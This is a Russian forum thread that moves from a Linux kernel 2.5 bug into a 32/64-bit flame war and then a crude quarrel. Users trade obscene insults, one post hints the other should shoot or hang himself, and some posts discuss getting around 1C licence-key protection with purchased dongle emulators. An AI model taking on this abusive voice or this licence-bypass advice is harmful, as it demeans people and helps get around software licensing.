В линуксе по сути и 64 бит-то нет — только для галочки. Поэтому какие там могут быть проблемы?

Правда, ядро в заметке тестовое - 2.5.

Я, к сожалению, не программист и мои вопросы могут показаться глупыми, но:

1. Как этот баг проявляться с точки зрения пользователя? баг в категории Networking и поэтому считаю что может быть заметен
2. Присутсвует ли баг в ядре 2.6.35? Если присутсвует - как его вызвать

ЕМНИП, ветка 2.5 никогда серьёзна не развивавалась... так что...

Есть такое, исправят.
Есть однако вопрос: этот баг был найден случайно при работе ядра, или его нашли сами разработчики, но ни одна программа не использовала его уникальных возможностей?

Svart Testare написал:
В линуксе по сути и 64 бит-то нет — только для галочки.

Авторитетные рахработчики ядра Linux подтянулись.

nixadmin написал:
Присутсвует ли баг в ядре 2.6.35?

Судя по описанию бага - нет. Тогда вовсе не ясно куда он там распространяется.

nixadmin написал:
Если присутсвует - как его вызвать

Пройдите по ссылке на баг. Там прикреплен файл send.cpp. Его нужно скомпилировать и запустить. Он передает через сеть массивы данных разной длинны. Если при пересылке какого-то массива ни одного байта не переслалось, то баг у вас проявляется.

spoilt,
Покажите нам широкую распространённость 64-битных дистрибов линукса со всем софтом, тогда и будете что-то вякать. Недавно на форуме была тема о том, как Каноникал не рекомендует 64-битные дистрибы.

Svart Testare написал:
Покажите нам широкую распространённость 64-битных дистрибов линукса со всем софтом, тогда и будете что-то вякать.

Для начала вам надо вылезти из криогенной камеры и пройтись по репозиторию Debian (пул amd64).

Svart Testare написал:
вякать

Я таким не занимаюсь, а вот вы постоянно.

Svart Testare написал:
Недавно на форуме была тема о том, как Каноникал не рекомендует 64-битные дистрибы.

Ubuntu - это не весь Linux. Вам это говорили порядка 50 раз, но все равно вы продолжаете гнуть свою ахинею.
И еще, 64 бита - это не только платформа amd64. Это и различные RISK, SPARC и тд и тп. Если Windows не работает на этих платформах еще не означает что надо нести чепуху.

spoilt,
Вот только не нужно умалять значение Убунты и количество её пользователей. И мы говорим о десктопном применении 64 бит в первую очередь. Пока никто не может чётко объяснить почему крупнейший мейнтейнер НЕ РЕКОМЕНДУЕТ качать 64-битные дистрибутивы — и это в те времена, когда процессоры в большинстве случаев уже поддерживают 64-битный софт и количество памяти на компах переваливает за 4 гига.

spoilt,
По поводу PA-RISC, Itanium и SPARC — вы просто не знаете как там работает Линукс. Он работает там через жопу. Это «портирование» чисто формальное.

Linux 2.5 - это ветка уже давно не разрабатывается. Уже несколько лет 2.6.
Тема ни о чём. Хотя я виндувзятник.

Svart Testare написал:
По поводу PA-RISC, Itanium и SPARC — вы просто не знаете как там работает Линукс. Он работает там через жопу. Это «портирование» чисто формальное.

Пруфы будут?

petrun,
Нотариально заверенные скриншоты?

Крупнейший линуксвендор прекращает поддержку Itanium. Наверное, от большой популярности и крайней необходимости линукса на этой платформе
http://www.pcworld.com/article/185196/red_hat_to_drop_itanium_support_in_enterprise_linux_6.html

Microsoft тоже не будет разарбатывать софт под Itanium. Intel не будет развивать эту платформу. Даже у серваков доля таких процессоров не составляет даже 1%.

Тайный хранитель написал:
Даже у серваков доля таких процессоров не составляет даже 1%.

Это дисриминация! Надо всех обязать через суд поддерживать эту платформу. Иначе не справедливо.™

А все остальные платформы - для быдла, которое не осилило.

Простите. не удержался...

Кстати, на сет Win7 x64 вот только вчера один знакомый купил ноут с ней. И не смог подключить принтер который стоял у него, на этот принтер нет драйверов под x64. Снес Win7 поставил XP x32, памяти стало видно не 4 гига а 3, но хоть принтер заработал.

http://www.gag.com/~bdale/talks/2002/hpworld/Bdale-Porting.ppt
Замечательная презентация о портировании Debian на PA-RISC и Itanium. В конце целый список «обнадёживающих» утверждений
Но ладно, допустим презентация уже устарела. Смотрим на более свежие источники — сайт http://parisc-linux.org. И что же мы видим в разделе о поддержке железа?
- Not everything is perfectly functional - but nearly all of it works.
- A few issues remain with Frame Buffer (graphics support) on some machines (eg C3000/J5000) with a 64bit Linux Kernel
- The T600 is unlikely to ever be supported
- Support for the E class is being pursued
- GSC add-in cards should work, HP-PB cards will not yet (должны работать!)
- The D, K and R class machines are at least partially supported
- Support for the V-class isn't going to happen until some really masochistic person who has access to a V-class is, uh, challenged by this.
Пи...ц, товарищи! И это называется «портировали»! Огромное количество серверов просто не поддерживается, другая часть кое-как, третья «должна работать».

AleksK,
В том, что производитель принтера не озаботился написанием драйверов для x64, а ваш знакомый прежде чем покупать сомнительный принтер не поинтересовался в базе совместимости Windows 7 по поводу поддержки этого принтера, виноват конечно же лично Балмер!

Manve написал:
Это дисриминация! Надо всех обязать через суд поддерживать эту платформу. Иначе не справедливо.™

Это платформа принадлежит intel и только она может поддерживать эту платформу. В чём же несправедливость? Создавать более медленные процессоры для задач, притом стоимостью 1000-5000 баксов - это уж не справеливо. С каких это пор суд должен навязывать создавать процессоры невесть кому нужные под IA-64.

Manve написал:
А все остальные платформы - для быдла, которое не осилило.

x64, ARM, SPARC,PowerPC по-вашему, для быдла? Или для "не быдла" - это такая платформа, которую не пишет ОС даже Линус Торвальд?

#18 Svart Testare написал:
В том, что производитель принтера не озаботился написанием драйверов для x64, а ваш знакомый прежде чем покупать сомнительный принтер не поинтересовался в базе совместимости Windows 7 по поводу поддержки этого принтера, виноват конечно же лично Балмер!

В точно такой же ситуации, но с Линуксом, виноват лично Торвальдс?

Svart Testare написал:
В том, что производитель принтера не озаботился написанием драйверов для x64, а ваш знакомый прежде чем покупать сомнительный принтер не поинтересовался в базе совместимости Windows 7 по поводу поддержки этого принтера, виноват конечно же лично Балмер! biggrin

Принтер вполне обычный, точно не помню, по-моему, лазерник Canon. И купил он его уже давно, просто ноут, он купил совсем недавно. А тут уже особо не из чего выбирать, если на ноуте 4 гига памяти значит со 100% вероятностью там стоит Win7 x64. Лично Балмера я ни в чем не обвинял, я просто показал что у любых 64 битных систем есть проблемы из-за которых люди вынуждены отказываться от них.

И Canonical не рекомендует x64 из-за того что там больше проблем с драйверами.

Тайный хранитель, это была ирония. Кто в курсе - поймет.

AleksK,
Canon известен своей любовью положить болт на старые модели принтеров и оставить их без поддержки в новых ОС, а тем более ещё и другой битности. Есть мнение, что лучше всего с поддержкой такого рода у Epson, хотя лично я предпочитаю HP и никогда не имел проблем с их принтерами и сканерами под разными версиями Винды и разных битностей.

msAVA,
Нет, в линуксе причина и следствие переп.таны — там не ОС обслуживает железо, а наоборот. Выбор принтера (и других девайсов) в Линуксе это целый праздник — ведь нужно столько всего проверить и убедиться, что кусок железа поддерживается святой ОС! Если в Винде подобная ситуация случается только с очень старой техникой и отдельными вендорами-неудачниками, то в Линуксе такое может произойти даже с самыми популярными моделями.

Svart Testare написал:

Крупнейший линуксвендор прекращает поддержку Itanium. Наверное, от большой популярности и крайней необходимости линукса на этой платформе biggrin biggrin biggrin

Сюрприз - итаниумы вообще кончаются, новых не выпускают.Поддерживать мертвую платформу?
То же произошло и с париском.

ОМГ - версия ядра 2.5?Тестовая ветка пятилетней давности?

Manve написал:
Тайный хранитель, это была ирония. Кто в курсе - поймет.

Ирония не ирония, а всё равно надо отвечать.

Svart Testare написал:
Нет, в линуксе причина и следствие переп.таны — там не ОС обслуживает железо, а наоборот. Выбор принтера (и других девайсов) в Линуксе это целый праздник — ведь нужно столько всего проверить и убедиться, что кусок железа поддерживается святой ОС! biggrin Если в Винде подобная ситуация случается только с очень старой техникой и отдельными вендорами-неудачниками, то в Линуксе такое может произойти даже с самыми популярными моделями.

Легим движением руки превращаем количество в качество.Отличный демагогический прием.

Svart Testare написал:
Canon известен своей любовью положить болт на старые модели принтеров и оставить их без поддержки в новых ОС, а тем более ещё и другой битности. Есть мнение, что лучше всего с поддержкой такого рода у Epson, хотя лично я предпочитаю HP и никогда не имел проблем с их принтерами и сканерами под разными версиями Винды и разных битностей.

Ну понятно, если железка не заработала в новой винде значит это проблема железки а если в линуксе то тут линукс виноват, причем Торвальдс лично должен за это ответить.

AleksK,
Напомнить вам в чём разница между драйверами устройств в линуксе и в винде и кто их пишет?

petrun,
Вы только что снова какую-то х№рню бессвязную сказали. Зачем?

http://www.linuxforums.org/forum/linux-tutorials-howtos-reference-material/69585-should-you-choose-32-bit-64-bit-linux.html
Собственно, вся ситуация с 64 битами на Linux очень хорошо описана в одном абзаце:
Although 64-bit Linux distributions do include a natively-compiled Linux kernel and several natively-compiled key applications, not every package in a 64-bit Linux distribution is 64-bit. The 32-bit library files and many 32-bit applications still exist and are used on a regular basis, so the idea that a 64-bit distribution is "native" is really a misnomer.

Перевод:

Несмотря на то, что 64-битные дистрибутивы включают в себя «нативное» 64-битное ядро и несколько приложений, не каждый пакет в 64-битных дистрибутивах Linux является 64-битным. 32-битные библиотеки и многие 32-битные приложения вс ещё присутствуют в дистрибутивах и регулярно используются, так что утверждение о том, что 64-битный дистрибутив «нативен» — неверно.

Svart Testare написал:
Несмотря на то, что 64-битные дистрибутивы включают в себя «нативное» 64-битное ядро и несколько приложений, не каждый пакет в 64-битных дистрибутивах Linux является 64-битным. 32-битные библиотеки и многие 32-битные приложения вс ещё присутствуют в дистрибутивах и регулярно используются, так что утверждение о том, что 64-битный дистрибутив «нативен» — неверно.

Но в Ubuntu x64 32 битные либы требуют только flash, wine и sun-java (не путать с openjdk). Охр№ненно много программ.

AleksK,
Откуда такая уверенность? Откуда вы знаете, что всё, что предлагается в репозитории, на самом деле истинно 64-битное и не имеет зависимостей от 32-битных компонентов?

Ну, Winda о 64бит то же не окончательно чиста от 32хбитных корявок.

Svart Testare, потому что там есть менеджер пакетов, в котором можно посмотреть зависимости.

McFly,
Но на 64-битной винде всё отлично работает и массовый переход на 64-бита во времена Vista и особенно семёрки это отлично доказывает.

Да вот кстати камешек в огород IBM, их инсталлер 64х битной вебсфера портал для линукс требует 32х битных библиотек, все зависит мне кажется и от самого софта

Svart Testare, что ты с ним еще разговариваешь? он же знает, оно спИциалист, и взломает любую закрытую конфигурацию 1С в 2 клика, вон в целевом топике он уже показал мастер-класс, и Акуна ему помог, тот от собственной бестолковости вобще там сломал все, до чего мог дотянуться, я до сих пор ржу. А этот пердун тебя банально тролит, ты что не видишь что ли?

pavel2403, если ты не понял что я тебе написал, то хотя бы не свети свою безграмотность всюду, великий 1С-ник, бля... вот блин поразвелось горефранчей.

AleksK написал:
pavel2403, если ты не понял что я тебе написал, то хотя бы не свети свою безграмотность всюду, великий 1С-ник, бля... вот блин поразвелось горефранчей.

Да-да, я безгрмотный по сравнению с тобой, это же очевидно ведь ты линух-Иксперт. Пацаны из Штриха долго смеялись, как ты в 2 клика сломал их защиту.

AleksK написал:
Но в Ubuntu x64 32 битные либы требуют только flash, wine и sun-java (не путать с openjdk). Охр№ненно много программ.

Sun-java не существует на 64х битную платформу под линукс???!!! Или бубунтовские майнтейнеры такие рукожопые, не ясно...

pavel2403 написал:
Пацаны из Штриха долго смеялись, как ты в 2 клика сломал их защиту.

Особенно им понравилось вот это

Цитата:
Во-первых, это не штатный способ защиты конфигурации, а это как раз подчеркнуто в том скрине что ты сделал. Во-вторых, это просто плохой тон, в программировании на 1С, нормальные поставщики скрывают только свои собственные наработки, например, работу с торговым оборудованием, а бизнес-логику оставляют открытой

Они уже осознали свою вину и посыпали голову пеплом и сказали что так делать больше не будут. Все свои конфы они откроют, а обработки обслуживания для работы с ТО они наоборот закроют и засекретят нах... что бы тебя не огорчать, клоун! Загляни на досуге в папочку TradeWareEpf (Equip)и там с удивлением обнаружишь обратотки как раз в основном только 2-х вендоров Атола и Штриха, и ВНЕЗАПНО, совершенно бесплатно и форматы их файлов обмена с ТО тоже открыты, во как, они ведь забыли мнение линух-Иксперта Алеши спросить.

pavel2403 написал:
Пацаны из Штриха долго смеялись, как ты в 2 клика сломал их защиту.

А их ли? То, что они воспользовались чьим то решением для защиты своей продукции не означает что эта защита их.

pavel2403 написал:
Да-да, я безгрмотный по сравнению с тобой, это же очевидно ведь ты линух-Иксперт. Пацаны из Штриха долго смеялись, как ты в 2 клика сломал их защиту.biggrin biggrin biggrin

Посаны из Штрих-М могут посмеятся ещё дольше если заглянут суда:
http://www.sporaw.ru/work/dongles/guardant/emulator_dumps.htm

P.S.
Я тебе специально картиночку вырезал, а то ведь ты убогонький сам-то не найдешь. Читать небось учился когда курс молодого бойца проходил.

AleksK, ты даже г№вно российскую поделку ниасилил, а еще вы*бываешься, слился бы уже, великий ойти икспет

wr224 написал:
AleksK, ты даже г№вно российскую поделку ниасилил, а еще вы*бываешься, слился бы уже, великий ойти икспет biggrin

А тебя собственно никто и не спрашивал. Говноиксперд нашелся тут ещё.

Хочу сказать хоть и 64-разрядная ОС лучше. Но Windows не является полноценной 64 битной системой.
Вот, к примеру SysWOW64 - являющегося прослойкой. Там, естественно, 32-разрядные библиотеки и набор стандартных приложений.
В System32 всего намешано и 32 и 64. И почему System32? Неужели, нельзя было поменять название папки? Мешает архитектурное наследие прошлых Windows? К тому же к каждой стандартной программе/библиотеке имеется её 32-разрядная копия, что увеличивает размер. По-умолчания запускается 32-разрядный IE.
Вот, к примеру diskpart
C:\Windows\system32\diskpart - 64разрядный. В SysWOW64- 32-х.
А вот dxdiag как в SysWOW64, так и System32 лежит только 32-разрядный. Спрашивается нафига две копии программы, тем более в одном и том же варианте?

AleksK написал:
Посаны из Штрих-М могут посмеятся ещё дольше если заглянут суда:

Так пусть, делов то!!! Это их, пацанов и проблема. А твоя проблема в том, что ты п№здлявый, п.здоголовый и рукожопый макак! Вобще, порядочные люди, после такого фейла обычно стрелялись или вешались.( это так к слову), а ты тут еще чо-то вякаешь, что бы народ еще больше поржал над тобой, убогим? Пожалей себя, клоун!

Svart Testare написал:
Откуда такая уверенность? Откуда вы знаете, что всё, что предлагается в репозитории, на самом деле истинно 64-битное и не имеет зависимостей от 32-битных компонентов?

Сварт, ситуевиня с 32/64bit и на венде и на Линуксе сходная. Системы и базовые библиотеки 64битные, а прикладные приложения еще не все спортированы. Потому как простой перекомпиляцией далеко не всегда можно ограничиться.

Касательно "откуда вы знаете" - правило хорошего тона писать платформу в названии пакета. Напр.:

python-uniconvertor-1.1.5_0ubuntu1_10.04_amd64.deb
python-uniconvertor-1.1.5_0ubuntu1_10.04_i386.deb

Svart Testare написал:
Но на 64-битной винде всё отлично работает и массовый переход на 64-бита во времена Vista и особенно семёрки это отлично доказывает.

На 64бит Убунте тоже все работает. Оговорка: проприетарный флеш иногда бывает подглючивает, поскольку он 32бит и работает в связке с 64бит Firefox (претензии к Адоби)

Svart Testare написал:
Напомнить вам в чём разница между драйверами устройств в линуксе и в винде и кто их пишет?

Напомнить вам, что их пишут те же корпорации, что и под венду (Intel, HP, nVidia и т.п. )? И лишь в случае если производитель упирается рогами, то тогда используются опенсурсные дрова.

pavel2403 написал:
Так пусть, делов то!!! Это их, пацанов и проблема. А твоя проблема в том, что ты п№здлявый, п.здоголовый и рукожопый макак! Вобще, порядочные люди, после такого фейла обычно стрелялись или вешались.( это так к слову), а ты тут еще чо-то вякаешь, что бы народ еще больше поржал над тобой, убогим? Пожалей себя, клоун!

Павел, ну ты отжег

pavel2403 написал:
А твоя проблема в том, что ты п№здлявый, п.здоголовый и рукожопый макак!

Пашоооок! Не заговаривайся - за себя лучче ответь

pavel2403 написал:
Так пусть, делов то!!! Это их, пацанов и проблема. А твоя проблема в том, что ты п№здлявый, п.здоголовый и рукожопый макак!tongue Вобще, порядочные люди, после такого фейла обычно стрелялись или вешались.( это так к слову), а ты тут еще чо-то вякаешь, что бы народ еще больше поржал над тобой, убогим? Пожалей себя, клоун! down

Порядочные люди после армии в институт идут, а ты как закончил три класса так и остановился на этом. На большее твой закаленный в армии моск похоже не способен, ну да чем больше в армии дубов тем крепче наша оборона.

2 AleksK

Цитата:
Посаны из Штрих-М могут посмеятся ещё дольше если заглянут суда:
http://www.sporaw.ru/work/dongles/guardant/emulator_dumps.htm

Не увидел там решения в 2 клика. Даже просто бесплатного решения не увидел

Цитата:
Порядочные люди после армии в институт идут, а ты как закончил три класса так и остановился на этом. На большее твой закаленный в армии моск похоже не способен, ну да чем больше в армии дубов тем крепче наша оборона.

Ну ну. Что ещще скажете в свое оправдание?

TrollWINNT написал:
Не увидел там решения в 2 клика. Даже просто бесплатного решения не увиделsmile

Там ещё проще, одно письмо, несколько тыс. руб. и у вас безлимитное кол-во рабочих мест. А за бесплатно вы сами работайте. 1С покупается не для развлечений а деньги зарабатывать, так что извольте платить за удобства в этом нелегком деле.

2 AleksK

Цитата:
Там ещё проще, одно письмо, несколько тыс. руб. и у вас безлимитное кол-во рабочих мест.

Угу. И сильная попаболь если вы случайно этим наступите кому то на любимый мозоль и вами заинтересуются соответствующие ребята.

Цитата:
1С покупается не для развлечений а деньги зарабатывать, так что извольте платить за удобства в этом нелегком деле.

А как же обход в 2 клика. А так в принципе да,лицензионный ключь и защщиту обошли

AleksK написал:
Порядочные люди после армии в институт идут

Прикинь, как ты догадался!!! Ты знал, знал!!! Я действительно после армии закончил институт по кафедре Информационные технологии. Специальность: Безопасность информации, защита сетей и корпоративных баз данных". Скан диплома не проси, все равно не получишь.

AleksK написал:
а ты как закончил три класса так и остановился на этом

??? Как вяжется???

AleksK написал:
На большее твой закаленный в армии моск похоже не способен, ну да чем больше в армии дубов тем крепче наша оборона.

Ага, УРА!!! В атаку, за опенсурс, за Столмана вперде!!!
И бох-питух парит над войсками осеняя их своими крылами... и вдохновляет луноходов на новые подвиги во Имя ЕГО!!! Что следующее ломать будем??? Эй луноходы, записывайтесь в очередь, с..ины дети.

TrollWINNT написал:
А как же обход в 2 клика. А так в принципе да,лицензионный ключь и защщиту обошлиbiggrin

А вы вообще знаете о чем речь. Пашок, то конечно не знает, но в 1С v7.7 штатная защита это пароль на просмотр и изменение текста конфигурации, это исправляется одним патчем на движок. Все остальные виды защит сводятся к использованию внешних компонент защищенных аппаратными или софтверными ключами. Поэтому сложность взлома будет зависеть от ключа. Но в конечном счете все зависит от разработчика многие никак не защищают свои конфигурации и зарабатывают на продаже открытых решений, с чего собственно спор и начался, хотя Пашок уже и позабыл об этом, с его то армейским складом ума это не мудрено.

pavel2403 написал:
Прикинь, как ты догадался!!! Ты знал, знал!!! Я действительно после армии закончил институт по кафедре Информационные технологии. Специальность: Безопасность информации, защита сетей и корпоративных баз данных". biggrin Скан диплома не проси, все равно не получишь.tongue

Как много страшных слов ты знаешь, я ебу, защитнег корпоративных сетей, бля.

AleksK написал:
Как много страшных слов ты знаешь, я ебу, защитнег корпоративных сетей, бля.

Алеша, завязывай нах.. этот цирк, а то я себе живот надорву от смеха и не усну.

pavel2403 написал:
Специальность: Безопасность информации, защита сетей и корпоративных баз данных".

Пашик, а когда пакеты натятся между между двумя сетевухами из одной подсетки это безопасно?

pavel2403 написал:
Алеша, завязывай нах.. этот цирк, а то я себе живот надорву от смеха и не усну.biggrin biggrin biggrin

Пашок, тебя в институт взяли потому что больше желающих небыло? Что за институт-то с такими забористыми специальностями, заочный типа РОСНОУ? Я вот университет закончил, и поступил туда с первого раз, так что не пришлось после школы в армию идти.

ikkunan salvataja написал:
Пашик, а когда пакеты натятся между между двумя сетевухами из одной подсетки это безопасно?

У тебя что, руки замерзли или мысли двоятся от взлома несчастного OCX(a) для печати штрих-кодов???

AleksK написал:
так что не пришлось после школы в армию идти.

Ты этим гордишься??? В принципе ожидаемо. Понимаешь, Алеша, если бы ты служил в армии, ты возможно не был бы настолько глуп и инфантилен как сейчас. Я вот уже который час тебя еб№льничком по твоему же собственному дерьму возюкаю, а ты делаешь вид как будто так и надо, мне уже это самому надоело, видя твою беспомощность. Ты жалок, Алеша. Так что подумай над этим и измени свое мнение в отошении твоей неслужбы в армии. Я бы, на твоем месте, от данного печального факта рыдал бы горючими слезами и начал бы ломиться в военкомат прямо сейчас же. Как говорит Р. Карманов, это была реклама ВС СССР

AleksK написал:
не смог подключить принтер который стоял у него, на этот принтер нет драйверов под x64

Алёша, а что за принтер?

MOP3E написал:
Алёша, а что за принтер?

О-О!!! Это тайный принтер, как города и страны полностью перешедшие на линух, поэтому он тебе не скажет.

pavel2403 написал:
Ты этим гордишься??? В принципе ожидаемо. Понимаешь, Алеша, если бы ты служил в армии, ты возможно не был бы настолько глуп и инфантилен как сейчас. Я вот уже который час тебя еб№льничком по твоему же собственному дерьму возюкаю, а ты делаешь вид как будто так и надо, мне уже это самому надоело, видя твою беспомощность. Ты жалок, Алеша. Так что подумай над этим и измени свое мнение в отошении твоей неслужбы в армии. Я бы, на твоем месте, от данного печального факта рыдал бы горючими слезами и начал бы ломиться в военкомат прямо сейчас же. Как говорит Р. Карманов, это была реклама ВС СССРbiggrin

Вот таких вот №бланов наша армия и выпускает. Кругозор минимальный зато самомнения шо пизнес, как же армия школа жЫзни. Знаешь сколько я таких придурков как ты нагляделся, сколько мне рассказывали как много я потерял не сходив в армию, как там весело было. Зато они потом в 40 лет наконец получили высшее образование заочно, да такие крутые специальности. Вообще заочное образование это первый признак постсоветского неудачника, тут главное чтобы в дипломе специальность покруче смотрелась.
Ты кстати в курсе, что для семерки есть ещё круче защита, её в принципе сломать невозможно (КЗК2), но 1С не сильно приветствует её использование. Хотя откуда тебе знать. Тебе же посаны показали как надо делать. Если хочешь действительно узнать что-то полезное про семерку зайди на 1cpp.ru

AleksK написал:
Кругозор минимальный зато самомнения шо пизнес, как же армия школа жЫзни. Знаешь сколько я таких придурков как ты нагляделся, сколько мне рассказывали как много я потерял не сходив в армию, как там весело было. Зато они потом в 40 лет наконец получили высшее образование заочно, да такие крутые специальности.

Я в тебе не ошибся, Алеша. Тебе действительно таки срочно в армию надо пойти, потому как без армии ты судя по всему не поумнеешь.

AleksK написал:
Вообще заочное образование это первый признак постсоветского неудачника, тут главное чтобы в дипломе специальность покруче смотрелась.

Алеша, дорогой мой луноход, может ты не в курсе, но 1 высшее образование я получил, когда ты только в горшок учился писать, а не в штаны. Хочешь знать специальность? Пожалуйста- инженер-электронщик. Опять таки скан диплома просить не надо, почему, я писАл выше.

2 AleksK

Цитата:
Вот таких вот №бланов наша армия и выпускает. Кругозор минимальный зато самомнения шо пизнес, как же армия школа жЫзни.

Цитата:
Знаешь сколько я таких придурков как ты нагляделся, сколько мне рассказывали как много я потерял не сходив в армию, как там весело было.

Я сходил в армию после института. И не жалею что сходил. И да, послушайте ещще одного "придурка". Вы в самом деле много потеряли, но вы думаю этого не поймете.

Цитата:
Вообще заочное образование это первый признак постсоветского неудачника, тут главное чтобы в дипломе специальность покруче смотрелась.

Я видел как профи с заочным образованием, так и д.билов очников. Так что, имхо, это не показатель

pavel2403 написал:
Алеша, дорогой мой луноход, может ты не в курсе, но 1 высшее образование я получил, когда ты только в горшок учился писать, а не в штаны. Хочешь знать специальность? Пожалуйста- инженер-электронщик. Опять таки скан диплома просить не надо, почему, я писАл выше.wink

Я тоже по образованию физик со специализацией инженер-электронщик, и у меня преподавали по специализации бывшие военные вот это дубы были таких ещё поискать надо, один хоть вызубрил учебник и по нему все читал, а второй отсебятину пер так что мы за ним цитаты записывали, он в 2004 году все ещё был уверен что оптические мыши работают только на специальных ковриках а механика все равно надежнее. Прямо как ты считаешь что после 8 лет разработки 8-ка все ещё не готова к применению и лучше оставаться на 7-ке.

TrollWINNT написал:
Я сходил в армию после института. И не жалею что сходил. И да, послушайте ещще одного "придурка". Вы в самом деле много потеряли, но вы думаю этого не поймете.

А я в аспирантуру поступил после университета. И не жалею что поступил, хоть пообщался с настоящими учеными. Вы много потеряли, но думаю что вы этого не поймете. Что по вашему лучше, один год провести по коммандованием кучки сходящих с ума от скуки и безделья №бланов, или три года работать с учеными которые двигают современную фундаментальную науку?

TrollWINNT написал:
Я видел как профи с заочным образованием, так и д.билов очников.

Добавить тут нечего.сказано верно.

AleksK написал:
Вот таких вот №бланов наша армия и выпускает.

Паша тебя уделал красиво,сказать нечего.Вот если бы не говорил бы,что сломаешь в 2 клика,а указал бы сразу на то,что есть эмулятор ключа и ты бы достав его правдами или неправдами запустил бы прогу,то это было бы решение и тебя бы поняли,но если ты бьешь себя пяткой в грудь,кричишь,что сделаешь это сам,то исход очевиден.

hodok78 написал:
Паша тебя уделал красиво,сказать нечего.Вот если бы не говорил бы,что сломаешь в 2 клика,а указал бы сразу на то,что есть эмулятор ключа и ты бы достав его правдами или неправдами запустил бы прогу,то это было бы решение и тебя бы поняли,но если ты бьешь себя пяткой в грудь,кричишь,что сделаешь это сам,то исход очевиден.

Если ты внимательно посмотришь на скрин который предоставил Пашок, там среди подчерунтых им слов будет слово штатная (что это такое я описал чуть выше), то что используется в это конфе - это не штатная защита, и есть защита ещё круче, которую вообще хр№н сломаешь, про которую Пашок и не слышал никогда. А я ему написал пути обхода и даже ссылку дал где можно приобрести уже готовый дамп ключа с эмулятором, а он требует чтобы я ему бесплатно сломал. А прогу запустить я и так смог, но без этой компоненты придется дописывать логику самому, что мне тоже нахр№н не сдалось. А то что Пашок так и не научился читать и все понимает так как ему удобнее - это его личные половые проблемы.

Svart Testare написал:
Пи...ц, товарищи! И это называется «портировали»! Огромное количество серверов просто не поддерживается, другая часть кое-как, третья «должна работать».

я не думаю, что домохозяйка будет юзать сервер. Сервер, я наверно вам открою секрет)), покупается под задачу, а не как у вас: "мы вот купили железо, что теперь с ним делать?! "

pavel2403 написал:
Вобще, порядочные люди, после такого фейла обычно стрелялись или вешались.

ну так ты же еще жив

pavel2403 написал:
Прикинь, как ты догадался!!! Ты знал, знал!!! Я действительно после армии закончил институт по кафедре Информационные технологии. Специальность: Безопасность информации, защита сетей и корпоративных баз данных". biggrin Скан диплома не проси, все равно не получишь.tongue

ты хочешь чтоб тебе кто-то на слово поверил?

bALMER написал:
ну так ты же еще живbiggrin

Ну дык тож к порядочным людям относится

Тайный хранитель написал:
И почему System32? Неужели, нельзя было поменять название папки? Мешает архитектурное наследие прошлых Windows? К тому же к каждой стандартной программе/библиотеке имеется её 32-разрядная копия, что увеличивает размер.

такое слово как "совместимость" тебе ни о чём не говорит?

shell32 написал:
такое слово как "совместимость" тебе ни о чём не говорит?

плз, раскройте тему, как System32 фолдер связан с словом "совместимость"?

Обратите внимание, что загрузчик библиотек ищет либы по системному LIBRARY_PATH автоматом, а не разруливается вручную приложением.

AleksK написал:
А я в аспирантуру поступил после университета. И не жалею что поступил,

Ох бля... еще один аспирант. Мало нам мсявы на голову. Блиа, аспиранты все такие или все луноходы-аспиранты, я никуя не понял!!! Особенно вот это понравилось.

AleksK написал:
Я тоже по образованию физик со специализацией инженер-электронщик,

Ага, круто звучит, это примерно как портной-токарь. Алеша, тебя мои коллеги настолько плохо в твоем универе учили, что ты уже забыл как твоя специальность называется, и на что ты вобще учился? И физики у нас тут есть есичо, так что ты не одинок, и уже многое понятно.

Linfan написал:
Обратите внимание, что загрузчик библиотек ищет либы по системному LIBRARY_PATH автоматом, а не разруливается вручную приложением.

Нет, не так. У нас переменная окружения называется %Path% и содержит 3 пути где могут находиться либы. Если их там нет, то значит используется домашний каталог приложения, все просто.

Почитал тред...Алекс, ты фееричный глупый и инфантильный школьник 1цэ это самое убогое, что вообще существует в природе из мягкого, а ты и тут умудрился пердануть, и про армию мимо, написал в штаны и клоуном себя показал, памперсы смени

pavel2403 написал:
Нет, не так. У нас переменная окружения называется %Path% и содержит 3 пути где могут находиться либы. Если их там нет, то значит используется домашний каталог приложения, все просто.

Пашок, тебе книжку "Выньдос для чайнегов" прислать? В PATH может быть столько путей, сколько пропишешь. И не домашний каталог приложения, а текущий каталог.

Linfan написал:
плз, раскройте тему, как System32 фолдер связан с словом "совместимость"?

в system32 хранятся не только библиотеки и использовать эту папку (путь к папке) можно не только для загрузки библиотек
но в первую очередь "совместимость" относится к словам:

Тайный хранитель написал:
К тому же к каждой стандартной программе/библиотеке имеется её 32-разрядная копия, что увеличивает размер.

Linfan написал:
Обратите внимание, что загрузчик библиотек ищет либы по системному LIBRARY_PATH автоматом, а не разруливается вручную приложением.

Microsoft SDK написал:
When no path is specified, the function searches for the file in the following sequence:
1.The directory from which the application loaded.
2.The current directory.
3.Windows 95: The Windows system directory. Use the GetSystemDirectory function to get the path of this directory.
Windows NT: The 32-bit Windows system directory. Use the GetSystemDirectory function to get the path of this directory. The name of this directory is SYSTEM32.
4.Windows NT: The 16-bit Windows system directory. There is no Win32 function that obtains the path of this directory, but it is searched. The name of this directory is SYSTEM.
5.The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
6.The directories that are listed in the PATH environment variable.

Linfan написал:
"Выньдос для чайнегов"

отсюда знания черпаем? все понятно

.

Linfan написал:
И не домашний каталог приложения, а текущий каталог.

Цитата:
Microsoft SDK написал:
When no path is specified, the function searches for the file in the following sequence:
1.The directory from which the application loaded.
2.The current directory.
3.Windows 95: The Windows system directory. Use the GetSystemDirectory function to get the path of this directory.
Windows NT: The 32-bit Windows system directory. Use the GetSystemDirectory function to get the path of this directory. The name of this directory is SYSTEM32.
4.Windows NT: The 16-bit Windows system directory. There is no Win32 function that obtains the path of this directory, but it is searched. The name of this directory is SYSTEM.
5.The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
6.The directories that are listed in the PATH environment variable.

Что тут тебе еще непонятно, клоун?

Linfan написал:
тебе книжку "Выньдос для чайнегов" прислать?

Ты сам её изучи сначала, "опенсурс-Девелопер" Тебе наверное очень нравиться в лужу пукать, такие забавные пузири получаются, да?

shell32 написал:
отсюда знания черпаем? все понятно smile

Еще раз - раскройте тему, как название System32 связано с словом "совместимость"?
В процитированном фрагменте ни слова не указано про то, что System32 - зарезервированно для совместимости. Более того - путь к нему приложение получает при необходимости из WinAPI:

Цитата:
Use the GetSystemDirectory function to get the path of this directory.

ikkunan salvataja написал:
А вот надо в логах посмотреть какой у него UA, наверняка распоследнейший IE.

Хидеры можно руками подменить, икуна, ты мегасупергуру компьютерных технологий и прочего и прочего, этого не знал?

Почистил тему. Если шо не то зарубил, звыняйте: лес рубят - щепки летят.

